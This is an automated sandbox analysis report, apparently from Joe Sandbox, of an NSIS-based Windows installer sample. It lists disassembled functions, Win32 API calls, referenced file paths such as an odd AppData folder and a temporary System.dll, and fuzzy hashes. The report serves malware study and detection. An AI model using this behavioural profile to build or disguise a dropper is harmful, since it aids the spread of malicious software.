API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular$C:\Users\user\Desktop$C:\Users\user\Desktop\3507071243740008011.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-1263452082
Opcode ID: d39332670e42baa2e4338040fdf84325205f2ee1dee207f194f6fe0ff4ed9f93
Instruction ID: 7b86b6c626ebcb02b9d5dbe90ebec93722fb19806190c38ba91b5de258dcc2d7
Opcode Fuzzy Hash: d39332670e42baa2e4338040fdf84325205f2ee1dee207f194f6fe0ff4ed9f93
Instruction Fuzzy Hash: 0CD12571500310ABD720BF759D45A2B3AACEB4070AF11487FF981B62E1DB7D8E45876E

Function 00404C62 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C7A
GetDlgItem.USER32(?,00000408), ref: 00404C85
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CCF
LoadBitmapW.USER32(0000006E), ref: 00404CE2
SetWindowLongW.USER32(?,000000FC,0040525A), ref: 00404CFB
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D0F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D21
SendMessageW.USER32(?,00001109,00000002), ref: 00404D37
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D43
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D55
DeleteObject.GDI32(00000000), ref: 00404D58
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D83
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D8F
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E25
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E50
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E64
GetWindowLongW.USER32(?,000000F0), ref: 00404E93
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EA1
ShowWindow.USER32(?,00000005), ref: 00404EB2
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FAF
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405014
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405029
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040504D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040506D
ImageList_Destroy.COMCTL32(?), ref: 00405082
GlobalFree.KERNEL32(?), ref: 00405092
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040510B
SendMessageW.USER32(?,00001102,?,?), ref: 004051B4
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051C3
InvalidateRect.USER32(?,00000000,00000001), ref: 004051E3
ShowWindow.USER32(?,00000000), ref: 00405231
GetDlgItem.USER32(?,000003FE), ref: 0040523C
ShowWindow.USER32(00000000), ref: 00405243

Strings

, xrefs: 0040521B
N, xrefs: 00404EED
M, xrefs: 00404E0C

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: b7a53bb0e8129e8d6f105adc399685baa7110aa9d584893a6364e795e1a80ea2
Instruction ID: ace54df752983209bd77257c2b819bbd2f8b8ae60686516a6448f39b7f2ae2b0
Opcode Fuzzy Hash: b7a53bb0e8129e8d6f105adc399685baa7110aa9d584893a6364e795e1a80ea2
Instruction Fuzzy Hash: E50270B0900209EFDB109FA4DD85AAE7BB5FB84314F10817AF650BA2E1D7799D42CF58

Function 00405990 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 004059B9
lstrcatW.KERNEL32(0042F250,\*.*,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A01
lstrcatW.KERNEL32(?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A24
lstrlenW.KERNEL32(?,?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A2A
FindFirstFileW.KERNELBASE(0042F250,?,?,?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A3A
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405ADA
FindClose.KERNEL32(00000000), ref: 00405AE9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040599E
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 00405990
\*.*, xrefs: 004059FB

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3701117409
Opcode ID: 7c40550cfb6058a41fac62682ca690ff842edb60165f8b14098a153ca22c4312
Instruction ID: f2c7612d72ec45a398f238805cdec5f3e53338685f49ce317d80e039c8d46841
Opcode Fuzzy Hash: 7c40550cfb6058a41fac62682ca690ff842edb60165f8b14098a153ca22c4312
Instruction Fuzzy Hash: 4E41C230A01A14AACB21AB658C89AAF7778DF81764F14427FF801711C1D77CA992DE6E

Function 004065C5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00430298,0042FA50,00405CA4,0042FA50,0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004065D0
FindClose.KERNEL32(00000000), ref: 004065DC

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction ID: c6d438537f48b5b2fd9a798109b403d1ef13146c040350fe47557a90c5bdf24f
Opcode Fuzzy Hash: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction Fuzzy Hash: E6D012315091206BC6551B387E0C84B7A589F153717258B37B86AF11E4C734CC628698

Function 00403D3E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D7A
ShowWindow.USER32(?), ref: 00403D97
DestroyWindow.USER32 ref: 00403DAB
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DC7
GetDlgItem.USER32(?,?), ref: 00403DE8
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DFC
IsWindowEnabled.USER32(00000000), ref: 00403E03
GetDlgItem.USER32(?,00000001), ref: 00403EB1
GetDlgItem.USER32(?,00000002), ref: 00403EBB
SetClassLongW.USER32(?,000000F2,?), ref: 00403ED5
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F26
GetDlgItem.USER32(?,00000003), ref: 00403FCC
ShowWindow.USER32(00000000,?), ref: 00403FED
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FFF
EnableWindow.USER32(?,?), ref: 0040401A
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404030
EnableMenuItem.USER32(00000000), ref: 00404037
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040404F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404062
lstrlenW.KERNEL32(0042D248,?,0042D248,00000000), ref: 0040408C
SetWindowTextW.USER32(?,0042D248), ref: 004040A0
ShowWindow.USER32(?,0000000A), ref: 004041D4

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d98e6c65d60d857f3aa4eca315e3afb6b45dd94bb5928597cafe6023f70925fc
Instruction ID: 2b8d66c2e1a38ac8fa8a62e4dcdff4cf04ad9fa750ea4aef2484392c4ac96c84
Opcode Fuzzy Hash: d98e6c65d60d857f3aa4eca315e3afb6b45dd94bb5928597cafe6023f70925fc
Instruction Fuzzy Hash: 3EC1D2B1600200AFDB216F61ED89E2B3A68FB94706F04057EF641B51F1CB799982DB6D

Function 00403990 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040665C: GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
Part of subcall function 0040665C: GetProcAddress.KERNEL32(00000000,?), ref: 00406689

lstrcatW.KERNEL32(1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\3507071243740008011.exe",00000000), ref: 00403A11
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A91
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000), ref: 00403AA4
GetFileAttributesW.KERNEL32(Call), ref: 00403AAF
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\pechay\transskribere\jon), ref: 00403AF8

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

RegisterClassW.USER32(00433E80), ref: 00403B35
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B4D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B82
ShowWindow.USER32(00000005,00000000), ref: 00403BB8
GetClassInfoW.USER32(00000000,RichEdit20W,00433E80), ref: 00403BE4
GetClassInfoW.USER32(00000000,RichEdit,00433E80), ref: 00403BF1
RegisterClassW.USER32(00433E80), ref: 00403BFA
DialogBoxParamW.USER32(?,00000000,00403D3E,00000000), ref: 00403C19

Strings

RichEdit, xrefs: 00403BEB
C:\Users\user\AppData\Local\Temp\, xrefs: 0040399C
RichEd20, xrefs: 00403BBE
Call, xrefs: 00403A58, 00403A61, 00403A6F, 00403ABE, 00403AC4
_Nb, xrefs: 00403B14, 00403B7C
Control Panel\Desktop\ResourceLocale, xrefs: 004039C4
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 00403A20, 00403A28, 00403ACB, 00403AD1, 00403AE1
RichEd32, xrefs: 00403BCC
.exe, xrefs: 00403A9E
1033, xrefs: 004039B0, 00403A0C
.DEFAULT\Control Panel\International, xrefs: 004039FC
RichEdit20W, xrefs: 00403BDC, 00403BE2
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 00403994

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-971695124
Opcode ID: d13a808758802c6e3fc48dc76d19d1d1e2605ae81d2ad2d57bfa7261d619400b
Instruction ID: b69a5953a59a380dedfc974e339360e26c19c43312473aa69c5b527d033ca56b
Opcode Fuzzy Hash: d13a808758802c6e3fc48dc76d19d1d1e2605ae81d2ad2d57bfa7261d619400b
Instruction Fuzzy Hash: 7061A8312003006ED320BF669D46F673A6CEB84B5AF40053FF945B62E2DB7DA9418A2D

Function 00402EC1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402ED2
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\3507071243740008011.exe,00000400,?,00000006,00000008,0000000A), ref: 00402EEE

Part of subcall function 00405D74: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
Part of subcall function 00405D74: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3507071243740008011.exe,C:\Users\user\Desktop\3507071243740008011.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F3A

Strings

Inst, xrefs: 00402FA6
C:\Users\user\AppData\Local\Temp\, xrefs: 00402ECB
C:\Users\user\Desktop\3507071243740008011.exe, xrefs: 00402ED8, 00402EE7, 00402EFB, 00402F1B
C:\Users\user\Desktop, xrefs: 00402F1C, 00402F21, 00402F27
soft, xrefs: 00402FAF
Null, xrefs: 00402FB8
Error launching installer, xrefs: 00402F11
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 00402EC1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403099

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\3507071243740008011.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-3274353692
Opcode ID: 63e69acdaec1fdaba5d4a89e2a3b5318abe59b2b0843af0c7679ee6c60d0c948
Instruction ID: 5fb561c1f1da7fe65fe29aa304fda9dad36d264b5387f138e6185790fd874317
Opcode Fuzzy Hash: 63e69acdaec1fdaba5d4a89e2a3b5318abe59b2b0843af0c7679ee6c60d0c948
Instruction Fuzzy Hash: 18510471902216AFDB20AF64DD85B9E7EB8FB00359F15403BF904B62C5C7789E408B6C

Function 004062A4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063E5
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 004063F8
SHGetSpecialFolderLocation.SHELL32(0040531D,0041D800,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 00406434
SHGetPathFromIDListW.SHELL32(0041D800,Call), ref: 00406442
CoTaskMemFree.OLE32(0041D800), ref: 0040644D
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406473
lstrlenW.KERNEL32(Call,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 004064CB

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004063B5
Call, xrefs: 004062CE, 004063A9, 004063B0, 004063B4, 004063CE, 004063CF, 004063E4, 004063F7, 00406413, 0040643E, 00406472, 00406478, 00406494, 004064A7, 004064C4, 004064CA, 004064D6, 00406509
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040646D

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 5757adc76ebd299de9e3f21c9246a654aa3bace2b5e710508428971d5ba8c1fc
Instruction ID: 2bc9f3e321a063d065e255e84c3e845f89f4622f689527909a28eedc1d3cb15f
Opcode Fuzzy Hash: 5757adc76ebd299de9e3f21c9246a654aa3bace2b5e710508428971d5ba8c1fc
Instruction Fuzzy Hash: 1D613631A00205ABDF209F64CD41ABE37A5AF44318F16813FE947B62D1D77C5AA1CB9D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular,?,?,00000031), ref: 004017D5

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Strings

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nsy62D9.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsy62D9.tmp$C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll$C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular$Call
API String ID: 1941528284-3220870226
Opcode ID: 5b350da25249687dd4719405322e9856b363981bc1dd38a50fc9a6532880dae0
Instruction ID: 71989b97474780e21d9e3883d12846d469cfbdfaa42366440e3466e884ca0043
Opcode Fuzzy Hash: 5b350da25249687dd4719405322e9856b363981bc1dd38a50fc9a6532880dae0
Instruction Fuzzy Hash: C1419431900518BECF11BBA5DC46DAF3679EF45328F20423FF412B50E1DA3C8A519A6D

Function 004030FA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403164
GetTickCount.KERNEL32 ref: 0040320B
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403234
wsprintfW.USER32 ref: 00403247

Strings

@, xrefs: 0040317E
... %d%%, xrefs: 00403241

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$@
API String ID: 551687249-3859443358
Opcode ID: bcadc4b8fcc5a9726af7f1001a2bc5a9f2fe7a461361550fb019878be66ece88
Instruction ID: f75c430432033e5046526aed0a4a2f939c591a2e87bafbbe4e5c1659d7ec9983
Opcode Fuzzy Hash: bcadc4b8fcc5a9726af7f1001a2bc5a9f2fe7a461361550fb019878be66ece88
Instruction Fuzzy Hash: 85515A71900219EBDB10CF69DA84B9E7FA8AF45366F14417BEC14B72C0C778DA50CBA9

